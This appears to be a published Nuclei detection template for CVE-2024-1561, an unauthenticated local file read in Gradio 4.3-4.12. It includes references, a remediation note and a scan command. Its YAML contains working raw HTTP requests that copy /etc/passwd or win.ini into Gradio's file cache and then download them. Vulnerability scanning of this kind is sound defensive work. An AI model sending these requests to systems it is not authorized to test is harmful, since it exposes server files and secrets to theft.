Gradio 4.3-4.12 - Local File Read

ID: CVE-2024-1561

Severity: high

Author: nvn1729,Diablo

Tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr

Description

Local file read by calling arbitrary methods of Components class between Gradio versions 4.3-4.12

YAML Source

id: CVE-2024-1561

info:
  name: Gradio 4.3-4.12 - Local File Read
  author: nvn1729,Diablo
  severity: high
  description: |
    Local file read by calling arbitrary methods of Components class between Gradio versions 4.3-4.12
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read files on the server
  remediation: |
    Update to Gradio 4.13.0
  reference:
    - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
    - https://github.com/DiabloHTB/CVE-2024-1561
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1561
    - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
    - https://www.gradio.app/changelog#4-13-0
    - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-1561
    cwe-id: CWE-29
    epss-score: 0.00087
    epss-percentile: 0.36659
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"__gradio_mode__"
    product: gradio
    vendor: gradio_project
  tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr

http:
  - raw:
      - |
        POST /component_server HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"component_id": "1", "data": "{{path}}", "fn_name": "move_resource_to_block_cache", "session_hash": "aaaaaaaaaaa"}

      - |
        GET /file={{download_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: download_path
        internal: true
        group: 1
        regex:
          - "\"?([^\"]+)"

    payloads:
      path:
        - c:\\windows\\win.ini
        - /etc/passwd

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100befe099ca9f0e9cc8d15a44a5d56caf48bd1ad2f14967946cb5ca8bd4069fa2d0221008df3235491ece170de18eb5aeb2e3b5b4833feb460c831094604b298701c317f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-1561.yaml"

View on Github